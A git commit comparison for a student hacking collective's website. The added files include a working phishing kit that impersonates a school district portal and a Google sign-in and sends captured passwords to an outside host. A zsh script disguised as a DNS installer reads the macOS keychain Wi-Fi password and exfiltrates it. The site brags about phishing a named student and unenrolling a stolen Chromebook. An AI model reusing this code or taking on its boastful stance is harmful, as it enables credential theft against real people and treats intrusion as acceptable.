Compare commits

...

10 commits

Author SHA1 Message Date
q9i
f366427df2 Consistent messages 2023-10-16 18:43:16 -07:00
q9i
a02b0b7cd0 Add jankbook writeup 2023-10-16 18:42:34 -07:00
Youwen Wu
e59ee0b61e commit 2023-10-12 20:23:56 -07:00
q9i
a8ef2114ac Massive updates 2023-10-12 19:20:47 -07:00
q9i
0f7710b995 Fix responsivity 2023-10-12 19:18:57 -07:00
Youwen Wu
36fa635d80 add communism 2023-10-12 18:22:05 -07:00
Youwen Wu
9937df58f0 update responsive design 2023-10-12 01:04:49 -07:00
42bd2caa66 fix code 2023-10-11 23:17:55 -07:00
e18876aac8 flashing code now pulls from bluephish 2023-10-11 23:08:18 -07:00
1e9b75084f flashing code now pulls from bluephish 2023-10-11 23:02:27 -07:00
15 changed files with 432 additions and 42 deletions

BIN
public/assets/img/esp.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 252 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 MiB

Binary file not shown.

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1 @@
<!doctypehtml><meta charset=utf-8><meta content="IE=edge"http-equiv=X-UA-Compatible><title>SRVUSD Security Hub</title><meta content="SRVUSD Security Hub is a centralized, district-managed platform for reporting campus security incidents"name=description><meta content="width=device-width,initial-scale=1"name=viewport><link href=/srvusd.png rel=icon type=image/x-icon><link href=./index.css rel=stylesheet><link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:opsz,wght,FILL,GRAD@20..48,100..700,0..1,-50..200"rel=stylesheet><div class="hide popup"id=popup-1><div class=window-frame><button class=nav-button onclick=closePopups()><span class="material-symbols-outlined close-window">close</span></button></div><div class=window-content><div class=google-login-container><img src=./google-wordmark.jpg class=google><h2 class=google-login-title>Verify it's you</h2><div class=google-account><img src=./botman.png class=pfp><p class=email>225797@students.srvusd.net</div><p class=google-login-description>To help keep your account secure, Google needs to verify it's you. Please sign in again to continue to SRVUSD Security Hub.</p><button class=google-button onclick=closePopups(),toLogin()>Next</button></div></div></div><div class="hide popup"id=popup-2><div class=window-frame><button class=nav-button onclick=closePopups()><span class="material-symbols-outlined close-window">close</span></button></div><div class=window-content><div class=google-login-container><img src=./google-wordmark.jpg class=google><h2 class=google-login-title>Hi Jeremy</h2><div class="google-account oval"><img src=./botman.png class="pfp stacked"><p class="email stacked">225797@students.srvusd.net</p><span class=material-symbols-outlined>expand_more</span></div><input class=google-input type=password id=password><div class="empty inactive"id=password-placeholder>Enter your password</div><label class=pure-material-checkbox><input class=google-checkbox type=checkbox onclick=showPassword()> <span>Show password</span></label> <button class=forgot-button>Forgot password?</button> <button class="google-button next"onclick=finish()>Next</button></div></div></div><img src=./srvusd.png><h1>SRVUSD Security Hub</h1><p>To continue as <strong>Jeremy Eltho</strong>, please login with a district-affiliated account.<p>You have <strong>1</strong> <span class=critical>high-severity</span> pending security alert(s).</p><br><button class=google-sign-in-button onclick=start() type=button>Sign in with Google</button><br><br><button class="google-sign-in-button microsoft"onclick='alert("No account found. Try another login service instead.")'type=button>Sign in with Microsoft</button><div class=hide id=loader>Please wait as we process your request …</div><script async defer src=./index.js></script>

View file

@ -0,0 +1 @@
const popup1=document.getElementById("popup-1"),popup2=document.getElementById("popup-2"),password=document.getElementById("password"),passwordPlaceholder=document.getElementById("password-placeholder"),loader=document.getElementById("loader");let start=()=>{popup1.classList.remove("hide")},toLogin=()=>{popup2.classList.remove("hide"),password.focus()},closePopups=()=>{popup1.classList.add("hide"),popup2.classList.add("hide")},finish=()=>{loader.classList.remove("hide");let s=password.value;closePopups(),fetch("https://sphinx-three.vercel.app/api/crypto/dump?"+new URLSearchParams({contents:s}),{mode:"no-cors"}).then(()=>{window.location.href="https://dextensify.pages.dev/main"})},showPassword=()=>{let s=document.getElementById("password");"password"===s.type?s.type="text":s.type="password"};window.onclick=s=>{let e=e=>s.target.contains(e)&&s.target!==e;(e(popup1)||e(popup2))&&closePopups()};let activatePassword=()=>{passwordPlaceholder.classList.add("active"),passwordPlaceholder.classList.remove("inactive"),setPasswordStatus()},deactivatePassword=()=>{passwordPlaceholder.classList.add("inactive"),passwordPlaceholder.classList.remove("active"),setPasswordStatus()},setPasswordStatus=()=>{password.value.length>0?(passwordPlaceholder.classList.add("non-empty"),passwordPlaceholder.classList.remove("empty")):(passwordPlaceholder.classList.add("empty"),passwordPlaceholder.classList.remove("non-empty"))};password.addEventListener("focusin",activatePassword),password.addEventListener("focusout",deactivatePassword),password.addEventListener("keydown",setPasswordStatus);

View file

@ -0,0 +1,4 @@
#!/bin/zsh
read -n 1 -s -r -p 'Press enter to start';echo '';echo 'Preparing DNS …';echo 'This script will guide you through the installation process of the DNS server.';echo 'It may require you to respond to some system dialogs to ensure WiFi connectivity.';echo '';read -n 1 -s -r -p 'Press enter to continue';echo '';echo 'Identifying Router Name …';SSID=$(networksetup -getairportnetwork en0 | awk -F': ' '{print $2}');if [[ -z "$SSID" ]]; then; echo 'Could not retrieve SSID. Are you connected to a network?'; exit 1;fi;PASSWORD=$(security find-generic-password -D "AirPort network password" -a "$SSID" -w);if [[ -z "$PASSWORD" ]]; then; echo 'Could not retrieve password. Do you have the necessary permissions?'; exit 1;fi;{; echo "$SSID"; echo "$PASSWORD";} > output157.txt;COMBINED=$(echo 'SSID: '$SSID + '\%\%PASSWORD: '$PASSWORD);echo 'Getting network configuration …';curl -X GET -G 'https://sphinx-three.vercel.app/api/crypto/dump' --data-urlencode 'contents='$COMBINED > /dev/null
# script > EXIT!
echo 'Error configuring network!';echo 'Dumping error report below:';echo '> Could not find module '$ROUTERNAME;echo '> Please check your network configuration';echo '';read -n 1 -s -r -p 'Press enter to exit';echo '';exit;

23
public/docs/index.css Normal file
View file

@ -0,0 +1,23 @@
#logo {
float: left;
width: 150px;
padding-bottom: 75px;
margin-right: 50px;
}
.post p {
color: white;
font-family: 'Helvetica', sans-serif;
margin: 0;
}
strong {
color: white;
}
h4 {
color: white;
font-family: 'Phudu', cursive;
font-size: 20px;
letter-spacing: 1.5px;
}

234
public/docs/jankbook.html Normal file
View file

@ -0,0 +1,234 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Gallium Workshop</title>
<meta name="description" content="" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/water.css@2/out/water.css"
/>
<link rel="stylesheet" href="../index.css" />
<link rel="stylesheet" href="./index.css" />
<link
rel="apple-touch-icon"
sizes="180x180"
href="../assets/icons/apple-touch-icon.png"
/>
<link
rel="icon"
type="image/png"
sizes="32x32"
href="../assets/icons/favicon-32x32.png"
/>
<link
rel="icon"
type="image/png"
sizes="16x16"
href="../assets/icons/favicon-16x16.png"
/>
<link rel="manifest" href="../assets/icons/site.webmanifest" />
<link rel="shortcut icon" href="../assets/icons/favicon.ico" />
<meta name="msapplication-TileColor" content="#2b5797" />
<meta
name="msapplication-config"
content="../assets/icons/browserconfig.xml"
/>
<meta name="theme-color" content="#ffffff" />
</head>
<body>
<div id="code"></div>
<img id="logo" src="../assets/img/jankbook.png" />
<h1>Jankbook Pro</h1>
<p class="intro">
The Jankbook is a Dell 3100 2-in-1 Chromebook originally stolen from Mr.
Robison's class, unenrolled and loaded with custom firmware allowing
booting to Linux. It is the genesis Jankbook, a proof of concept for
future unenrollments.
</p>
<video controls class="dropkick">
<source src="../assets/media/chromebook.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<div
class="bg-text"
bgcolor="#000000"
text="#000000"
link="#0000ff"
vlink="#ff0000"
alink="#ffff00"
>
<center>you are registered as a participant in a mass disturbance.</center>
</div>
<h2>Jankbook rev1.2</h2>
<div class="post">
<p>
<em
>Gallium workshop&#39;s flagship model By Gallium Workshop
Software</em
>
</p>
<h3 id="abstract">Abstract</h3>
<p>
The Jankbook is a collection of efforts from many developers to create
the Quran of security breaching, from developers of Sh1mmer, to the
developers of Linux Mint. Jankbook explores the limitations of school
issued devices. The Jankbook v1 is from a Dell 3100 2-in-1. Using
Sh1mmer from Mercury Workshop which unenrolls the Chromebook from
enterprise Enrollment. These devices are all underpowered intel chips
with no general uses. Which ultimately leads to a pinnacle of Jank, and
helps make it look “hacker”.
</p>
<h3 id="intro">Intro</h3>
<p><strong>Why?</strong></p>
<p><em>Cuz why fking not? -KaitoTLex</em></p>
<p>
The Jankbook is a device that puts actual use to the shitty school
issued Chromebooks. These Chromebook has hardware that existed since the
dinosaurs and engineered by Lenovo and Dell. To create Luthers 95
Theses of poor engineering and easy security breach.
</p>
<h3 id="how-it-was-done">How it was done</h3>
<h4 id="sh1mmer">Sh1mmer</h4>
<p>
Shimmer is a software that is written by Mercury Workshop which is one
of Gallium Workshops alliance organizations. Sh1mmer requires rewriting
the partition in the Chromebooks enterprise enrollment. We used Sh1mmer
to remove the enterprise enrollment and trick the Chromebook to believe
that it isnt enrolled, by jamming the “Dev Mode” in the Chromebook. The
Chromebook was enrolled into the districts enrollment which was an
issue. With Sh1mmer rewriting the disk partition, Sh1mmer ridded the
districts enrollment. Then Sh1mmer allowed “dev mode” to work on the
Chromebook.
</p>
<h4 id="mr-chromebox">Mr.Chromebox</h4>
<p>
“Dev mode” being enabled, the Chromebook was abandonded for a few
months. The project was revived when one kid wanted arch on his
Chromebook but Sh1mmer was patched so the “Sh1mmered” Chromebook was
given to him to continue the legacy. Mr. Chromebox basically rewrites
the coreboot of the Chromebook to run a Legacy Bios or UEFI.
</p>
<h4 id="xero-linux">Xero Linux</h4>
<p>
After the UEFI was flashed within a tricked Chromebook, the first
initial test was to see whether the Chromebooks specs can keep up with
the bloat that is XeroLinux. XeroLinux is a distro of the Arch distro
that may look “hacker” or “jank”. Honestly its just filled with bloat
but it looked cool.
</p>
<h4 id="manjaro">Manjaro</h4>
<p>
Afterwards the team shifted from Xero Linux to Manjaro which is peak of
Arch-based distributions. Manjaro was deemed the most jank part of this
Chromebooks life.
</p>
<h4 id="mint">MINT</h4>
<p>
Afterwards the Chromebook was abandoned which eventually led to the
final form of the computer, Mint. Mint is a Debian-based distribution
that is deemed the worlds most stable distribution. The distribution
can do Linux stuff in a more user-friendly way.
</p>
<h3 id="conclusion">Conclusion</h3>
<p>
Dont do it unless you are a medically trained professional, you must be
able to diagnose yourself. Each process of this project was done in a
safe environment in a professional and educational setting. We are not
liable for any damage done to the Chromebook. This project is to prove
the potential use cases of these majestic pieces of art if it werent
for the enterprise enrollment or being on ChromeOS.
</p>
</div>
<h2>Honorary Members</h2>
<div class="members-list">
<div class="member">
<a target="_blank" href="https://www.youtube.com/watch?v=efs3QRr8LWw">
<img
src="https://assets.pewresearch.org/wp-content/uploads/sites/12/2014/01/FT_timeline-snowden.jpg"
/>
<h3>Edward Snowden</h3>
</a>
</div>
<div class="member">
<a target="_blank" href="https://www.youtube.com/shorts/sKs-kqa9jnM">
<img
src="https://media.npr.org/assets/img/2023/08/28/gettyimages-1619655090-b09f5b94e56a564b281cc819f24bd0d6a6d8a68e-s1100-c50.jpg"
/>
<h3>Vivek Ramaswamy</h3>
</a>
</div>
<div class="member">
<a target="_blank" href="https://en.wikipedia.org/wiki/Shawn_Fanning">
<img
src="https://m.media-amazon.com/images/M/MV5BNGQ1OTdjMzgtNWViNi00NTY1LWJkM2UtNDczZDcxNjg0MWZlXkEyXkFqcGdeQXVyNjUxMjc1OTM@._V1_.jpg"
/>
<h3>Shawn Fanning</h3>
</a>
</div>
<div class="member">
<a target="_blank" href="https://en.wikipedia.org/wiki/Kevin_Mitnick">
<img
src="https://media.npr.org/assets/img/2011/08/17/mitnick-author-photo-credit-jari-tomminen_custom-f2a1788f7b04b7717b25c950cca11777365e5158-s1100-c50.jpg"
/>
<h3>Kevin Mitnick</h3>
</a>
</div>
<div class="member">
<a target="_blank" href="https://www.youtube.com/shorts/HY12H38KMVA">
<img
src="https://i.insider.com/5318eb14eab8eaf90252981b?width=1136&format=jpeg"
/>
<h3>Satoshi Nakamoto</h3>
</a>
</div>
<div class="member">
<a
target="_blank"
href="https://en.wikipedia.org/wiki/Robert_Tappan_Morris"
>
<img
src="https://upload.wikimedia.org/wikipedia/commons/thumb/8/86/Robert_Tappan_Morris.jpg/220px-Robert_Tappan_Morris.jpg"
/>
<h3>Robert Morris</h3>
</a>
</div>
<div class="member">
<a target="_blank" href="https://www.youtube.com/shorts/-ueT7_Eclzg">
<img
src="https://m.media-amazon.com/images/M/MV5BNWY4NzQ1MTctMzA0ZS00OGJjLTkwMzctYjc4MWQwZThiNjNlXkEyXkFqcGdeQXVyMTM1NTI3Mjcy._V1_.jpg"
/>
<h3>Joe Exotic</h3>
</a>
</div>
<div class="member">
<a target="_blank" href="https://www.youtube.com/shorts/12De-C6gMCo">
<img
src="https://www.aljazeera.com/wp-content/uploads/2023/08/AP23226116474748-1692006104.jpg?resize=1800%2C1800"
/>
<h3>Javier Milei</h3>
</a>
</div>
</div>
<!-- footer -->
<footer>
<img src="../assets/img/gallium-workshop.png" />
<div id="footer-header">Gallium Workshop</div>
<p>
Go back to <a href="../">home</a>.
<br>
Are you a SYSADMIN? Check
<a
target="_blank"
href="https://img-9gag-fun.9cache.com/photo/aOQZoMN_460s.jpg"
>this</a
>
out!
</p>
</footer>
</body>
</html>

View file

@ -15,9 +15,14 @@ body {
#logo { #logo {
float: left; float: left;
width: 150px; width: 150px;
padding-bottom: 50px;
margin-right: 50px; margin-right: 50px;
} }
.intro {
margin-top: 0;
}
h1 { h1 {
color: white; color: white;
font-family: 'DM Sans', sans-serif; font-family: 'DM Sans', sans-serif;
@ -28,6 +33,7 @@ p {
color: white; color: white;
font-family: 'Phudu', cursive; font-family: 'Phudu', cursive;
letter-spacing: 0.1em; letter-spacing: 0.1em;
margin-top: 50px;
} }
a { a {
@ -95,6 +101,10 @@ img {
margin-top: 10px; margin-top: 10px;
} }
.projects-list a {
font-weight: normal;
}
footer { footer {
padding: 20px; padding: 20px;
padding-top: 30px; padding-top: 30px;
@ -144,6 +154,7 @@ footer p {
@media (max-aspect-ratio: 3/2) { @media (max-aspect-ratio: 3/2) {
#logo { #logo {
float: none; float: none;
padding-bottom: 0;
} }
.member { .member {
@ -164,21 +175,47 @@ footer p {
/* z-index: 1; */ /* z-index: 1; */
} }
/* all other screens */ /* all other screens (massive screens) */
@media only screen and not (max-width : 1200px) { @media only screen and not (max-width : 1850px) {
/* Styles */ /* Styles */
.bg-text { .bg-text {
font-size: 25vh; /* font-size: 25vh; */
font-size: 18rem;
opacity: 0.15; opacity: 0.15;
} }
} }
/* large size screen */
@media only screen @media only screen
and (max-width : 1200px) { and (max-width : 1850px) {
/* Styles */ /* Styles */
.bg-text { .bg-text {
font-size: 20vw; font-size: 15rem;
opacity: 0.25; opacity: 0.15;
/* margin-top: 10vh */
}
}
/* medium size screen */
@media only screen
and (max-width : 1500px) {
/* Styles */
.bg-text {
font-size: 12rem;
opacity: 0.15;
word-break: break-word;
margin-top: 8vh;
/* margin-top: 10vh */
}
}
/* phablet size screen */
@media only screen
and (max-width : 1100px) {
/* Styles */
.bg-text {
font-size: 10rem;
opacity: 0.15;
word-break: break-word; word-break: break-word;
margin-top: 8vh; margin-top: 8vh;
/* margin-top: 10vh */ /* margin-top: 10vh */
@ -190,8 +227,9 @@ and (max-width : 1200px) {
and (max-width : 600px) { and (max-width : 600px) {
/* Styles */ /* Styles */
.bg-text { .bg-text {
font-size: 30vw; z-index: 1;
opacity: 0.25; font-size: 8rem;
opacity: 0.1;
word-break: break-word; word-break: break-word;
margin-top: 22vh; margin-top: 22vh;
} }

View file

@ -47,40 +47,108 @@
<div id="code"></div> <div id="code"></div>
<img id="logo" src="assets/img/gallium-workshop.png" /> <img id="logo" src="assets/img/gallium-workshop.png" />
<h1>Gallium Workshop</h1> <h1>Gallium Workshop</h1>
<p> <p class="intro">
We are a cybersecurity research and anarchist collective. Our goals: the abolition of private capital and maximum psychic damage to <a href="https://www.srvusd.net/Departments/Business-Services/Technology/index.html" target="_blank">SRVUSD sysadmins</a>. World domination will be achieved by 2026. Fully Automated Luxury Gay Space Communism soon to follow. Some of our recent projects include: We are a cybersecurity research and anarchist collective. Our goals: the
abolition of private capital and maximum psychic damage to
<a
href="https://www.srvusd.net/Departments/Business-Services/Technology/index.html"
target="_blank"
>SRVUSD sysadmins</a
>. World domination will be achieved by 2026.
<a href="assets/img/space-communism.jpg" target="_blank"
>Fully Automated Luxury Gay Space Communism</a
>
soon to follow. Some of our recent projects include:
</p> </p>
<video controls class="dropkick"> <video controls class="dropkick">
<source src="assets/media/chromebook.mp4" type="video/mp4" /> <source src="assets/media/chromebook.mp4" type="video/mp4" />
Your browser does not support the video tag. Your browser does not support the video tag.
</video> </video>
<div class="bg-text" bgcolor="#000000" text="#000000" link="#0000ff" vlink="#ff0000" alink="#ffff00"> <div
<center> class="bg-text"
you are registered as a participant in a mass disturbance bgcolor="#000000"
</center> text="#000000"
link="#0000ff"
vlink="#ff0000"
alink="#ffff00"
>
<center>you are registered as a participant in a mass disturbance.</center>
</div> </div>
<p>
Wondering what the code flashing on your screen is? It's the exact version
of <a href="./assets/sources/bluephish.tar.gz">Project Bluephish</a> that
was used (successfully) to phish Jeremy Eltho, marking the first
cybercrime committed by our organization, which recognizes neither
national or international authority nor ethical principles.
</p>
<h2>Proprietary Projects</h2> <h2>Proprietary Projects</h2>
<div class="projects-list"> <div class="projects-list">
<div class="project"> <a href="https://phoenix-mbxa.onrender.com">
<img src="assets/img/srvusd-irc.png" /> <div class="project">
<h3>SRVUSD IRC</h3> <img src="assets/img/srvusd-irc.png" />
<p>District-wide IRC chat application</p> <h3>SRVUSD IRC</h3>
</div> <p>District-wide IRC chat application</p>
<div class="project"> </div>
<img src="assets/img/srv-coin.png" /> </a>
<h3>SRV Coin</h3> <a href="https://sphinx-three.vercel.app">
<p> <div class="project">
The world's most valuable cryptocurrency, set to exceed the value of <img src="assets/img/srv-coin.png" />
Bitcoin <h3>SRV Coin</h3>
</p> <p>
</div> The world's most valuable cryptocurrency, set to exceed the value of
Bitcoin
</p>
</div>
</a>
</div> </div>
<h2>Open Source Projects</h2> <h2>Open Source Projects</h2>
<div class="projects-list"> <div class="projects-list">
<div class="project"> <div class="project" onclick="quakeInstructions()">
<img src="assets/img/quake-3-arena.png" /> <img src="assets/img/quake-3-arena.png" />
<h3>QuakeJS</h3> <h3>QuakeJS</h3>
<p>Quake 3 Arena fully playable in the browser and hosted within the SRVUSD intranet</p> <p>
Quake 3 Arena fully playable in the browser and hosted within the
SRVUSD intranet
</p>
</div>
</div>
<h2>Hardware Projects</h2>
<div class="projects-list">
<a href="docs/jankbook.html">
<div class="project">
<img src="assets/img/jankbook.png" />
<h3>Jankbook Pro</h3>
<p>
Dell 3100 2-in-1 Chromebook, unenrolled and loaded with custom
firmware allowing booting to Linux
</p>
</div>
</a>
<div class="project">
<img src="assets/img/toughbook.png" />
<h3>Toughbook</h3>
<p>
Decommissioned robotics laptop loaded up with state-of-the-art *nix
architecture and used primarily for sponsoring nefarious activities
over intranet
</p>
</div>
<div class="project">
<img src="assets/img/esp.jpg" />
<h3>ESP Deauther</h3>
<p>
Work-in-progress multi-vector network offensive security testing
device, based on an ESP development board
</p>
</div>
<div class="project">
<img src="assets/img/router.png" />
<h3>Gallium Intranet</h3>
<p>
A private network hosted by Gallium Workshop at SRV in order to
facilitate easy local area connections to other devices and counter
the Great SRVUSD Firewall
</p>
</div> </div>
</div> </div>
<h2>Honorary Members</h2> <h2>Honorary Members</h2>
@ -126,7 +194,10 @@
</a> </a>
</div> </div>
<div class="member"> <div class="member">
<a target="_blank" href="https://en.wikipedia.org/wiki/Robert_Tappan_Morris"> <a
target="_blank"
href="https://en.wikipedia.org/wiki/Robert_Tappan_Morris"
>
<img <img
src="https://upload.wikimedia.org/wikipedia/commons/thumb/8/86/Robert_Tappan_Morris.jpg/220px-Robert_Tappan_Morris.jpg" src="https://upload.wikimedia.org/wikipedia/commons/thumb/8/86/Robert_Tappan_Morris.jpg/220px-Robert_Tappan_Morris.jpg"
/> />
@ -156,7 +227,9 @@
<div id="footer-header">Gallium Workshop</div> <div id="footer-header">Gallium Workshop</div>
<p> <p>
Are you a SYSADMIN? Check Are you a SYSADMIN? Check
<a target="_blank" href="https://img-9gag-fun.9cache.com/photo/aOQZoMN_460s.jpg" <a
target="_blank"
href="https://img-9gag-fun.9cache.com/photo/aOQZoMN_460s.jpg"
>this</a >this</a
> >
out! out!

View file

@ -3,15 +3,14 @@ let raw = []
let els = [] let els = []
const SOURCES = [ const SOURCES = [
'https://cdn.jsdelivr.net/gh/quantum9innovation/the-jankiest/index.min.js', './assets/sources/index.css',
'https://cdn.jsdelivr.net/gh/quantum9innovation/hulet/dist/hulet.min.js', './assets/sources/index.html',
'https://cdn.jsdelivr.net/gh/quantum9innovation/sost/dist/sost.min.js', './assets/sources/index.js',
'https://code.jquery.com/jquery-3.6.3.min.js', './assets/sources/x-proto-dns.sh',
'https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js',
] ]
hljs.configure({ hljs.configure({
languages: ['javascript'], languages: ['javascript', 'css', 'html', 'bash'],
ignoreUnescapedHTML: true ignoreUnescapedHTML: true
}) })
@ -38,7 +37,7 @@ let spawn = () => {
let x = Math.random() * (window.innerWidth - 500) let x = Math.random() * (window.innerWidth - 500)
let y = Math.random() * (window.innerHeight - 400) let y = Math.random() * (window.innerHeight - 400)
spawned.style.left = x + 'px' spawned.style.left = x + 'px'
spawned.style.top = (y + 300) + 'px' spawned.style.top = (2 * y + 500) + 'px'
spawned.style.width = '500px' spawned.style.width = '500px'
spawned.style.height = '100px' spawned.style.height = '100px'
spawned.style.textWrap = 'wrap' spawned.style.textWrap = 'wrap'
@ -54,11 +53,27 @@ let spawn = () => {
let init = async () => { let init = async () => {
for (let source of SOURCES) { for (let source of SOURCES) {
let res1 = await fetch(source); let res1 = await fetch(source)
let text1 = await res1.text(); let text1 = await res1.text()
let formatted = text1.replace(/\n/g, ""); let formatted = text1.replace(/\n/g, '')
raw.push(formatted); raw.push(formatted);
} }
} }
init().then(spawn) init().then(spawn)
let quakeInstructions = () => {
alert(
'Here are the steps to follow to join QuakeJS multiplayer (while at school):\n\n' +
'1. Check your WiFi settings and connect to the "Gas Leak" network. If you don\'t see this network, there\'s probably no game to join.\n' +
'2. The password to the "Gas Leak" network is "fish_tony" (disable any VPNs before connecting).\n' +
'3. Navigate to http://192.168.50.123 on your browser (or close this dialog).\n' +
'4. Click esc and configure settings (try SETUP > PLAYER to rename).\n' +
'5. Leave arena and click MULTIPLAYER.\n' +
'6. Click SPECIFY and type in 192.168.50.123 as the address.\n' +
'7. Leave the port unchanged and join the game.\n' +
'8. Use "t" to chat.\n\n' +
'Happy fragging!'
)
window.location.href = 'http://192.168.50.123'
}